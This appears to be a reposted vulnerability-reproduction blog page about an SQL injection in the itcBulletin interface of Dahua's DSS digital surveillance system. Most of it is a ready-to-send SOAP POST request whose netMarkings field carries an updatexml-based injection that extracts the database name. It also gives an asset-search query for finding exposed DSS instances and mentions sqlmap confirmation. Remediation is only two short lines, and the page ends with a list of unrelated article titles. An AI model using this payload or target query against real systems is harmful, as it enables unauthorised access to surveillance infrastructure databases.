当前位置: 首页 > news >正文

大华 DSS 城市安防数字监控系统 SQL 注入漏洞

漏洞简介

大华DSS数字监控系统itcBulletin接口对传入的数据没有预编译和充足的校验,导致该接口存在SQL注入漏洞,可通过注入漏洞获取数据库敏感信息。

资产测绘

app=“dahua-DSS”

在这里插入图片描述

漏洞复现

POC:

POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host:your_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Connection: close
Content-Length: 341
Accept-Encoding: gzip<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'><s11:Body><ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'><netMarkings>(updatexml(1,concat(0x7e,(select database()),0x7e),1))) and (1=1</netMarkings></ns1:deleteBulletin></s11:Body>
</s11:Envelope>

在这里插入图片描述

成功查询出当前数据库。

Sqlmap验证

在这里插入图片描述

修复建议

1.升级至应用最新版本
2.部署WAF防火墙进行防护。

http://www.lryc.cn/news/264142.html

相关文章:

  • vue中的侦听器和组件之间的通信
  • maven-shade-plugin有什么用
  • 本地部署 OpenVoice
  • 【模式识别】解锁降维奥秘:深度剖析PCA人脸识别技术
  • 大模型赋能“AI+电商”,景联文科技提供高质量电商场景数据
  • 深度比较(lodash 的 isEqual 方法)
  • Ansible常用模块详解(附各模块应用实例和Ansible环境安装部署)
  • QT中网络编程之发送Http协议的Get和Post请求
  • Java 并发编程 —— Fork/Join 框架的原理详解
  • 3-10岁孩子语文能力培养里程碑
  • Vue+ElementUi 基于Tree实现动态节点添加,节点自定义为输入框列
  • Web前端-JavaScript(js数组和函数)
  • 判断数据是否为整数--函数设计与实现
  • netty源码:(29)ChannelInboundHandlerAdapter
  • Shell脚本应用(二)
  • Kafka基本原理及使用
  • 使用Python爬取GooglePlay并从复杂的自定义数据结构中实现解析
  • 前后端分离下的鸿鹄电子招投标系统:使用Spring Boot、Mybatis、Redis和Layui实现源码与立项流程
  • ChatGPT 有什么新奇的使用方式?
  • 【计算机四级(网络工程师)笔记】操作系统概论
  • LeetCode算法练习top100:(10)贪心算法
  • 随记-探究 OpenApi 的加密方式
  • stm32学习总结:4、Proteus8+STM32CubeMX+MDK仿真串口收发
  • 配置paddleocr及paddlepaddle解决报错 GLIBCXX_3.4.30 FreeTypeFont
  • 【实战】如何在Docker Image中轻松运行MySQL
  • PLC物联网,实现工厂设备数据采集
  • npm安装依赖报错ERESOLVE unable to resolve dependency tree(我是在taro项目中)(node、npm 版本问题)
  • Maven仓库上传jar和mvn命令汇总
  • Jenkins 执行远程脚本的插件—SSH2 Easy
  • Starting the Docker Engine...一直转圈